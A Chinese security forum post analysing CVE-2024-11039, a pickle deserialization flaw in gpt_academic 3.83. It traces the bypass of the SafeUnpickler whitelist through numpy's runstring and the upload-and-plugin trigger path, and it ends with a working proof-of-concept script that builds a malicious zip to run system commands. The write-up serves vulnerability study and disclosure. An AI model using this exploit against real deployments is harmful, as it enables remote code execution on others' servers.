问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
某ai系统反序列化漏洞分析CVE-2024-11039
漏洞分析
`gpt_academic` 是一个开源项目,旨在为 GPT、GLM 等大型语言模型(LLM)提供实用化的交互接口,特别优化论文阅读、润色和写作体验。在3.83版本中,由于过滤不严导致一处存在反序列化漏洞,利用此漏洞可以造成任意命令执行。
`gpt_academic` 是一个开源项目,旨在为 GPT、GLM 等大型语言模型(LLM)提供实用化的交互接口,特别优化论文阅读、润色和写作体验。在3.83版本中,由于过滤不严导致一处存在反序列化漏洞,利用此漏洞可以造成任意命令执行。 0x01漏洞分析 ======== 1. python反序列化 ------------- 有关python反序列化有关内容: > 通常,构建反序列化漏洞的payload时,使用的是`__reduce__()`这个魔术方法。该方法用于定义**类对象的序列化方式**,当对象通过Pickle进行反序列化时,这个方法会被调用。 > > `__reduce__()`方法没有任何参数,通常返回一个字符串或更理想的是一个**元组**(返回的结果一般被称为“reduce值”)。如果返回的是元组,它应该包含 2 到 6 个元素,下面重点讨论前两个元素: > > - 第一个元素是一个**可调用对象**,该对象会在创建对象的初始版本时被调用。 > - 第二个元素是可**调用对象的参数**,它以元组形式提供。如果可调用对象不需要参数,那么就应该传递一个空元组。 2. 寻找漏洞点 -------- > 在python中,一般是通过`pickle`模块的`pickle.load`从已打开的 file object*文件* 中读取封存后的对象,重建其中特定对象的层次结构并返回。它相当于 `Unpickler(file).load()` 通过寻找这里有一个反序列化的点,这里使用了`SafeUnpickler`的`load`方法对传入的文件进行反序列化。  在这个系统中,它自定义了一个`SafeUnpickler`类,它继承了`pickle.Unpickler`类,并且重写了`find_class`方法来定制反序列化行为,避免执行不安全的类,这里使用了白名单定义了仅允许反序列化的三个类。但是在下面为`numpy`开了后门,这是一个常用于多维数组与矩阵运算的库。  如果这里要想利用反序列化执行命令,就需要找到一个合适的可调用的对象,并在最好能在这个对象里就有可以直接执行命令的函数且参数直接或间接来自于这个对象的参数。所以我们可以在这个库里搜索`exec`,`system`,`eval`等关键字看看有没有合适的方法。(如果使用system进行反序列化的时候在win和linux生成的payload是不一样的,因为os的system模块在两个系统实现原理不一样的,所以这里推荐优先寻找exec,因为exec执行的是python代码不存在跨平台问题)  通过搜索发现这里`runstring`方法中接受两个参数,所以再序列化的时候也需要传入两个参数。 所以这个构造payload为: ```php import pickle from numpy.testing._private.utils import runstring class Numpy(object): def __reduce__(self): return runstring,("import os;os.system('calc.exe')", {}) ``` 3.寻找触发点 ------- 了解了反序列化的点,接下来就是寻找哪里可以触发。通过追踪`SafeUnpickler`类发现了唯一调用点`objload`,再向上追踪发现在`latex_actions`中有两处调用的地方。  首先来看第一个点,这里是将project\_folder和temp.pkl路径进行拼接(其中`pj`是`os.path.join`的别名),`project_folder`是项目目录,根据方法名可知在这个函数下会对该工作目录下的文件进行分解和转换,并且如果该项目目录下存在temp.pkl文件,则会读取该文件进行反序列化操作。  并且为了让顺利运行到漏洞点,在该代码的前面首先通过`find_main_tex_file`寻找主tex文件,然后用assert判断是否以.tex结尾。也就是说在该该项目目录下还应该存在一个latex格式的文件( *LaTeX是一种基于TeX的文字处理系统*,常用于论文排版)  再往上追踪该函数,发现有三个地方调用了,这里选择第一个进行分析。  在`Latex英文纠错加PDF对比`方法下,通过分析`project_folder`就是从和gpt聊天框中输入的文字  并通过`desend_to_extracted_folder_if_exist`进入到以`.extract`解压的路径,这让我们想到该路径可能是从压缩包解压而来  既然路径是用户自己输入的,所以项目路径是可控的,接下来就是寻找如何在该路径下复制反序列化的文件。通过`desend_to_extracted_folder_if_exist`方法得知该路径是可能是通过压缩包解压而来的。所以接下来需要寻找哪里可以上传压缩包并解压的方法。 在网站首页,有一个上传文件的地方,可以上传zip  在上传zip后,首先会通过当前用户和当前时间创建目录,然后通过`extract_archive`解压文件到以`.extract`为结尾的后缀的目录中。  之后就是追溯到触发点了,在`crazy_functional`中导入并定义了所有可供gpt使用的插件,他是一个字典形式,包含了名称,介绍和具体调用的函数等  然后通过路由是解析插件的地方,k就是插件的名字,然后再上面的字典中找到对于的方法,然后携带参数去执行  上面我们分析漏洞点是通过`Latex英文纠错加PDF对比`方法触发的,所以对于的插件名就是`Latex英文纠错+高亮修正位置 [需Latex]`  0x02漏洞复现 ======== poc如下,首先使用`Numpy`构造payload,然后将序列化后的内容保存在temp.pkl中。然后创建一个压缩包,将temp.pkl和main.tex放如压缩包中,最终输出一个压缩包。 ```php import zipfile import pickle class Numpy(object): def __reduce__(self): from numpy.testing.\_private.utils import runstring return runstring, ("import os;os.system('curl 127.0.0.1:8000')", {}) c = Numpy() with open('temp.pkl', 'wb') as f: pickle.dump(c, f) def create_poc1_zip(): try: binary1 = open('temp.pkl', 'rb').read() binary2 = b'\\documentclass\[12pt\]{article}\r\n\r\n' zipFile = zipfile.ZipFile("poc2.zip", "w", zipfile.ZIP_DEFLATED) zipFile.writestr("temp.pkl", binary1) zipFile.writestr("main.tex", binary2) zipFile.close() except IOError as e: raise e create_poc1_zip() ``` 在网站上传压缩包后会自动解压,并且会将解压后的路径自动填到输入去里  然后再下面的插件区中找到`Latex英文纠错+高亮修正位置 [需Latex]`插件并点击执行。  并查看服务器成功有请求访问
发表于 2025-11-04 14:25:06
阅读 ( 281 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
中铁13层打工人
80 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!